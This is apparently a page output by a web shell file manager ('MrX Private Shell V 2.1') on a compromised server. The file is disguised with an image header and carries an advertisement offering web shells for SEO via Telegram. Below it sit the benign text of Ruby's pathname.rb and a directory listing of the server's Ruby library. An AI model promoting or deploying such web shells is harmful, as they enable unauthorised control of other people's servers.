����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
# frozen_string_literal: true
#
# = pathname.rb
#
# Object-Oriented Pathname Class
#
# Author:: Tanaka Akira <akr@m17n.org>
# Documentation:: Author and Gavin Sinclair
#
# For documentation, see class Pathname.
#
class Pathname # * Find *
#
# Iterates over the directory tree in a depth first manner, yielding a
# Pathname for each file under "this" directory.
#
# Note that you need to require 'pathname' to use this method.
#
# Returns an Enumerator if no block is given.
#
# Since it is implemented by the standard library module Find, Find.prune can
# be used to control the traversal.
#
# If +self+ is +.+, yielded pathnames begin with a filename in the
# current directory, not +./+.
#
# See Find.find
#
def find(ignore_error: true) # :yield: pathname
return to_enum(__method__, ignore_error: ignore_error) unless block_given?
require 'find'
if @path == '.'
Find.find(@path, ignore_error: ignore_error) {|f| yield self.class.new(f.delete_prefix('./')) }
else
Find.find(@path, ignore_error: ignore_error) {|f| yield self.class.new(f) }
end
end
end
class Pathname # * FileUtils *
# Recursively deletes a directory, including all directories beneath it.
#
# Note that you need to require 'pathname' to use this method.
#
# See FileUtils.rm_rf
def rmtree(noop: nil, verbose: nil, secure: nil)
# The name "rmtree" is borrowed from File::Path of Perl.
# File::Path provides "mkpath" and "rmtree".
require 'fileutils'
FileUtils.rm_rf(@path, noop: noop, verbose: verbose, secure: secure)
self
end
end
class Pathname # * tmpdir *
# Creates a tmp directory and wraps the returned path in a Pathname object.
#
# Note that you need to require 'pathname' to use this method.
#
# See Dir.mktmpdir
def self.mktmpdir
require 'tmpdir' unless defined?(Dir.mktmpdir)
if block_given?
Dir.mktmpdir do |dir|
dir = self.new(dir)
yield dir
end
else
self.new(Dir.mktmpdir)
end
end
end
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| bigdecimal | Folder | 0755 |
|
|
| cgi | Folder | 0755 |
|
|
| did_you_mean | Folder | 0755 |
|
|
| digest | Folder | 0755 |
|
|
| erb | Folder | 0755 |
|
|
| error_highlight | Folder | 0755 |
|
|
| forwardable | Folder | 0755 |
|
|
| io | Folder | 0755 |
|
|
| json | Folder | 0755 |
|
|
| net | Folder | 0755 |
|
|
| objspace | Folder | 0755 |
|
|
| open3 | Folder | 0755 |
|
|
| openssl | Folder | 0755 |
|
|
| optparse | Folder | 0755 |
|
|
| prism | Folder | 0755 |
|
|
| psych | Folder | 0755 |
|
|
| random | Folder | 0755 |
|
|
| ripper | Folder | 0755 |
|
|
| set | Folder | 0755 |
|
|
| strscan | Folder | 0755 |
|
|
| syntax_suggest | Folder | 0755 |
|
|
| unicode_normalize | Folder | 0755 |
|
|
| uri | Folder | 0755 |
|
|
| vendor_ruby | Folder | 0755 |
|
|
| yaml | Folder | 0755 |
|
|
| English.rb | File | 5.96 KB | 0644 |
|
| bundled_gems.rb | File | 8.41 KB | 0644 |
|
| cgi.rb | File | 311 B | 0644 |
|
| coverage.rb | File | 517 B | 0644 |
|
| date.rb | File | 1.17 KB | 0644 |
|
| delegate.rb | File | 11.96 KB | 0644 |
|
| did_you_mean.rb | File | 4.51 KB | 0644 |
|
| digest.rb | File | 3.3 KB | 0644 |
|
| erb.rb | File | 32.57 KB | 0644 |
|
| error_highlight.rb | File | 84 B | 0644 |
|
| expect.rb | File | 2.19 KB | 0644 |
|
| fileutils.rb | File | 79.18 KB | 0644 |
|
| find.rb | File | 2.54 KB | 0644 |
|
| forwardable.rb | File | 8.81 KB | 0644 |
|
| ipaddr.rb | File | 22.86 KB | 0644 |
|
| json.rb | File | 21.45 KB | 0644 |
|
| mkmf.rb | File | 93.16 KB | 0644 |
|
| monitor.rb | File | 6.97 KB | 0644 |
|
| objspace.rb | File | 4.14 KB | 0644 |
|
| open-uri.rb | File | 28.58 KB | 0644 |
|
| open3.rb | File | 47.51 KB | 0644 |
|
| openssl.rb | File | 1.24 KB | 0644 |
|
| optionparser.rb | File | 59 B | 0644 |
|
| optparse.rb | File | 65.44 KB | 0644 |
|
| pathname.rb | File | 2 KB | 0644 |
|
| pp.rb | File | 19.21 KB | 0644 |
|
| prettyprint.rb | File | 15.95 KB | 0644 |
|
| prism.rb | File | 3.74 KB | 0644 |
|
| psych.rb | File | 26.05 KB | 0644 |
|
| resolv.rb | File | 88.39 KB | 0644 |
|
| ripper.rb | File | 2.44 KB | 0644 |
|
| securerandom.rb | File | 2.28 KB | 0644 |
|
| shellwords.rb | File | 7.53 KB | 0644 |
|
| singleton.rb | File | 5.59 KB | 0644 |
|
| socket.rb | File | 61.26 KB | 0644 |
|
| syntax_suggest.rb | File | 74 B | 0644 |
|
| tempfile.rb | File | 20.7 KB | 0644 |
|
| time.rb | File | 24.01 KB | 0644 |
|
| timeout.rb | File | 10.48 KB | 0644 |
|
| tmpdir.rb | File | 5.62 KB | 0644 |
|
| tsort.rb | File | 14.36 KB | 0644 |
|
| un.rb | File | 11.17 KB | 0644 |
|
| uri.rb | File | 3.09 KB | 0644 |
|
| weakref.rb | File | 1.39 KB | 0644 |
|
| yaml.rb | File | 2.16 KB | 0644 |
|